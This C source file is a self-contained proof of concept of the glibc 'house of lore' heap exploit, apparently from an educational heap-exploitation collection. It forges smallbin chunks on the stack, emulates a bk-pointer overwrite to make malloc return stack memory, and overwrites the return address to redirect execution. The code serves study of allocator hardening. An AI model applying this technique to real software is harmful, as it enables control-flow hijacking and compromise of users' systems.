#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0}; intptr_t* stack_buffer_2[4] = {0}; void* fake_freelist[7][4];
fprintf(stderr, "Allocating the victim chunk\n"); intptr_t *victim = malloc(0x100); fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
fprintf(stderr, "Allocating dummy chunks for using up tcache later\n"); void *dummies[7]; for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake free-list on the stack\n"); for(int i=0; i<6; i++) { fake_freelist[i][3] = fake_freelist[i+1]; } fake_freelist[6][3] = NULL; fprintf(stderr, "fake free-list at %p\n", fake_freelist);
fprintf(stderr, "Create a fake chunk on the stack\n"); fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" "in second to the last malloc, which putting stack address on smallbin list\n"); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " "chunk on stack"); stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash " "introduced by smallbin-to-tcache mechanism\n"); stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" "the small one during the free()\n"); void *p5 = malloc(1000); fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing dummy chunk\n"); for(int i=0; i<7; i++) free(dummies[i]); fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200); fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "Now take all dummies chunk in tcache out\n"); for(int i=0; i<7; i++) malloc(0x100);
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); char *p4 = malloc(0x100); fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); intptr_t sc = (intptr_t)jackpot;
long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4+offset+8), &sc, 8);
assert((long)__builtin_return_address(0) == (long)jackpot); }
|